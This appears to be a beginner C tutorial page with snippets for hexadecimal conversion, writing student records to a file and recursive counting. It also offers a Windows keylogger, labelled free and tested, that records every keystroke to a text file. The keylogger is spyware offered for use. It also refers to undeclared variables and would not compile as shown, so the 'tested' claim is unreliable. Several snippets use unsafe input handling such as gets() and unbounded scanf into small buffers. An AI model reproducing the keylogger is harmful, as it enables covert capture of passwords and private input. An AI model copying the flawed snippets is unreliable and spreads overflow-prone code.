Ebooks tutorial for C-programming (Simplest Version)

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Very simple code to convert hexadecimal Number to decimal Number

#include<stdio.h>

int main(){
   int hex, dec;
   printf("\nEnter the value in hexadecimal :");
    scanf("%x", &hex);

    printf("%d", hex);
    return 0;
}

c program to convert hexadecimal value to decimal value

#include<stdio.h>

#include<stdlib.h>

void x(char *);
int f1(int,int);
int hex()
{
    char a[10];
    char* b;
    printf("\nEnter the hexdecimal value : ");
    scanf("%s",&a);
    x(a);
return 0;
}
void x(char *a)
{
int sum=0,b;
int c=strlen(a);
b=c;
for (int i=0;i<c;i++)
{
if(a[i] >= '0' && a[i] <= '9')
{
    sum = sum + f1(a[i]-'0',b);
    b--;
}
else if(a[i] >= 'a' && a[i] <= 'f')
{   
    sum = sum + f1(a[i]-'a'+10,b);
    b--;
}
else if(a[i] >= 'A' && a[i] <= 'F')
{   
    sum = sum + f1(a[i]-'A'+10,b);
    b--;
}
else printf("Error value entered\n");
}
printf("\nResultant decimal value is :   %d  \n",sum);
}

int f1(int a, int b)
{
int d;
int p=1;
if(b != 0){
for (int i=1;i<b;i++)
    p = p*16;
}
    d=a*p;
return d;
}

c program for keylogger for free and tested

/* c code for kelogger  */

/* date : 11-jan-2014  */

/* author :  Kriptino   */

#include<windows.h>
#include<Winuser.h>

#include<iostream>

#include<stdio.h>

#include<stdlib.h>

using namespace std;

int Save (int key, char *file);

int main()
{
    char i;

   printf("This is my simple keylogger.");
   printf("\nloading... \n\n");
   system("color c");
   while(1)
   {
       for(i=8;i<=190;i++)
      {
          if(GetAsyncKeyState(i)==-32767)
              Save(i,"Key_file.txt");
        }
     }
return 0;
}

int Save (int key,char *file)
{

if((key==1)||(key==2))
      return 0;

   FILE *ptr;
   ptr=fopen(file,"a+");
   if(key==8)
       fprintf(ptr,"%s","[BackSpace]");

   else if(key==13)
       fprintf(ptr,"%s","\n");

   else if(key==32)
       fprintf(ptr,"%s"," ");

   else if(key==VK_TAB)
       fprintf(ptr,"%s","[TAB]");

   else if(key==VK_SHIFT)
       fprintf(ptr,"%s","[SHIFT]");

   else if(key==VK_CONTROL)
       fprintf(ptr,"%s","[CONTROL]");

   else if(key==VK_ESCAPE)
       fprintf(ptr,"%s","[ESCAPE]");

   else if(key==VK_END)
       fprintf(ptr,"%s","[END]");

   else if(key==VK_HOME)
       fprintf(ptr,"%s","HOME");

   else if(key==VK_LEFT)
       fprintf(ptr,"%s","[LEFT]");

   else if(key==VK_UP)
       fprintf(ptr,"%s","[UP]");

   else if(key==VK_RIGHT)
       fprintf(ptr,"%s","[RIGHT]");

   else if(key==VK_DOWN)
       fprintf(ptr,"%s","[DOWN]");

   else if(key==190 || key==110)
       fprintf(ptr,"%s",".");

    else
       fprintf(rptr,"%s",&key_stroke);
   fclose(ptr);

   return 0;
}

c-code to store student information in a text file

#include<stdio.h>

#include<stdlib.h>
struct student{
    int roll;
    int class_no;
    char name[80];
};
int prog9(){
    FILE *fp;
    struct student s;
    char str[120];
    fp = fopen("d:\\recd.text", "a");
    printf("\nenter the roll : ");
    scanf("%d", &s.roll);

    printf("\nenter the class : ");
    scanf("%d", &s.class_no);
   
    fflush(stdin);
    printf("\nenter the name : ");
    gets(s.name);
   
    sprintf(str, "%d    %d    %s", s.roll, s.class_no, s.name);
    fputs(str, fp);
    fclose(fp);
         
    return 0;
}

c program to print 0 to 5 and 5 to 0 without using any loop

#include<stdio.h>

#include<stdlib.h>

int main(){
    static int v = 0;
    static int r = 5;
    {
    if(v < 6)
    {
        printf("    %d",v++);
        main();
    }
    if(r >= 0 )
    {
        printf("    %d",r--);
        main();
    }
    }
return 0;
}